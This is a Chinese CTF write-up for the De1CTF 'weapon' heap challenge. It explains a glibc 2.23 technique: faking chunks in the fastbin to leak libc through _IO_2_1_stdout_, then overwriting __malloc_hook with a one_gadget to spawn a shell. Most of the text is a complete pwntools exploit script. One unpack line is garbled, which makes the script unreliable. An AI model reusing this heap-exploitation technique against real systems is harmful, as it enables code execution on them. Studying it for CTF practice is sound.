De1CTF weapon 经验总结

第一次接触通过利用_IO_2_1_stdout_ 来泄露libc地址的题目,中间碰到不少问题,在这里记录一下

1.泄露libc
由于程序限制了创建的堆块大小为0x60 以内,所以无法同通过创建一个大小能放入unsortedbin中的堆块,但是可以通过伪造一个大小符合unsortedbin中的堆块来泄露libc地址

具体步骤:
1.创建五个大小为0x20堆块 编号依次为0-5, 之后一次释放chunk0, chunk1
那么fastbin中的bin结构为
0x20:chunk1->chunk0-> …

2.修改chunk1的fd指针的低一位字节为’\x10’, 让chunk1的fd指针指向chunk0的data区, 之后再创建两个chunk,编号为6,7
那么chunk7 的地址就是chunk0 的data区的地址

3.修改chunk0的data区为p64(0) + p64(0x71) ,这样chunk7的大小被修改为0x71,再释放掉
那么fastbin中的bin结构为
0x70: &chunk7-> …

4.修改chunk0的data区为p64(0) + p64(0xb1), 处理方法同上
这是chunk7既存在于fastbin中又存在于unsortedbin中
这是修改chunk7 的fd指针的低两位字节’\xdd\xa5’,
为什么是0xa5dd?
libc-2.23版本的stdout的地址的低三位固定为0x620, 由于从fastbin分配堆块的时候会检查堆块的大小,若不符合则会出现memory corruption之类的作物,所以要在_IO_2_1_stdout_ 中伪造一个大小为0x71的堆块,而地址中的开头一个字节0x7f正好符合(低位是标志位,不计入大小), 用0x620 减去伪造的堆块的偏移即为0x5dd,
前面还有加a的原因是 由于地址随机化的原因,低三位字节可以确定,但是低位字节的第四位是随机的,要爆破,概率是十六分之一,挺高的
之后再chunk0 的堆块大小修改回0x71

5.之后再创建两个堆块,往_IO_2_1_stdout_ 中写入我们布置好的数据,
‘\x00’*0x33 + p64(0xfbad1800) + p64(0)*3 + ‘\x00’
De1CTF weapon 经验总结_第1张图片
至于为什么flags要覆盖位0xfbad1800 现在不清楚,没读过libc源码,打算之后去读libc源码,然后再回来搞懂这个问题

6.利用puts函数来输出libc地址

泄露libc地址之后就是常规的操作了,往malloc_hook中写入one_gadget 地址之后getshell

from pwn import *
import struct

context(arch='amd64', os='linux', log_level='debug')
debug = 0
d = 1

if debug == 0:
	p = process("./weapon")
	if d == 1:
		gdb.attach(p)

def create(size, index, name):
	p.sendlineafter("choice >>", "1")
	
	p.sendlineafter("wlecome input your size of weapon: ", str(size))
	p.sendlineafter("input index: ", str(index))
	p.sendafter("input your name:", name)

def delete(index):
	p.sendlineafter("choice >>", "2")
	
	p.sendlineafter("input idx :", str(index))

def rename(index, content):
	p.sendlineafter("choice >>", "3")

	p.sendlineafter("input idx: ", str(index))
	p.sendafter("new content:", content)

create(0x18, 0, "aaa")

create(0x18, 1, 'b'*0x10 + p64(0x21))

create(0x18, 2, "ccc")

create(0x18, 3, 'd'*0x10 + p64(0x71))

create(0x18, 4, "eee")

create(0x18, 5, "fff")

create(0x18, 7, "hhh")

delete(0)

delete(1)

rename(1, '\x10')

rename(0, p64(0) + p64(0x21))

create(0x18, 1, "bbb")

create(0x18, 8, "fff")

rename(0, p64(0) + p64(0x71))

delete(8)

rename(0, p64(0) + p64(0xb1))

delete(8)

rename(8, '\xdd\xa5')

rename(0, p64(0) + p64(0x71))

create(0x60, 4, "123456")

create(0x60, 4, 'emmm')

rename(4, '\x00'*0x33 + p64(0xfbad1800) + p64(0)*3 + '\x00')

p.recvuntil(p64(0xfbad1800) + p64(0)*3)
leak = p.recv(8)
leak = struct.unpack(", leak)[0]
print "leak-> " + hex(leak)

elf = ELF("./weapon")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

libc_base = leak - (0x7f745811a600 - 0x7f7457d55000)
malloc_hook = libc_base + libc.symbols['__malloc_hook']
print "malloc_hook-> " + hex(malloc_hook)

one_gadget = libc_base + 0xf1147
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''


create(0x60, 0, "emmmmmmmm")

delete(0)

rename(0, p64(malloc_hook - 0x23))

create(0x60, 0, "bbb")

create(0x60, 1, '\x00'*0x13 + p64(one_gadget))

p.sendlineafter("choice >>", "1")
p.sendlineafter("wlecome input your size of weapon: ", "1")
p.sendlineafter("input index: ", "2")

p.interactive()

参考链接:
利用stdout来处理无leak的堆题
从一题看IO_file to leak

你可能感兴趣的:(PWN)